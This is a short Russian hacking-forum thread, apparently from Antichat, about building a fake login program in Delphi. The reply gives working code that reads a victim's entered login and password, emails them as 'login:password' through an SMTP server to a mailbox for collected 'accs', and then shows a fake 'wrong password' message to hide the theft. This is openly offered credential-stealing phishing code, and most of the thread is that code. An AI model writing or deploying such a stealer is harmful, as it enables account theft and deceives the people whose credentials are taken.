Форум АНТИЧАТ - Фейк на delphi

Цитата:

idPOP31.username:='login@mail.ru'; //Логин (чей логин писать?)

Пиши мыло своё

Цитата:

idSmtp1.Password:='xxxxxxx'; //Пароль (чей писать пароль?)

Пиши пароль от мыла

Цитата:

idmessage1.From.Text:='login@mail.ru'; //От кого пишем сюда тот с которого будет отправляться (как понять от кого и с которого будет отправлятся?)

Пиши то мыло которое ввел в idPOP31.username:='login@mail.ru';

А лучше сделай так

Цитата:

procedure TForm1.BitBtn1Click(Sender: TObject);
begin
IdSMTP1.Host:='smtp.yandex.ru';
IdSMTP1.Port:=25;
IdSMTP1.Username:='логин мыла';
IdSMTP1.Password:='пасс мыла';
IdMessage1.Body.Text:=Edit1.Text+':'+Edit2.Text;
IdMessage1.From.Text:='логин_своего_м� �ла@yandex.ru';
IdMessage1.Recipients.EMailAddresses:='мыло_к уда_слать_акки@mail.ru';
IdMessage1.Subject:='accs';
IdSMTP1.Connect();
if IdSMTP1.Connected=true then
IdSMTP1.Send(IdMessage1);
IdSMTP1.Disconnect
end;

procedure TForm1.IdSMTP1Connected(Sender: TObject);
begin
showmessage('Не верный пасс')
end;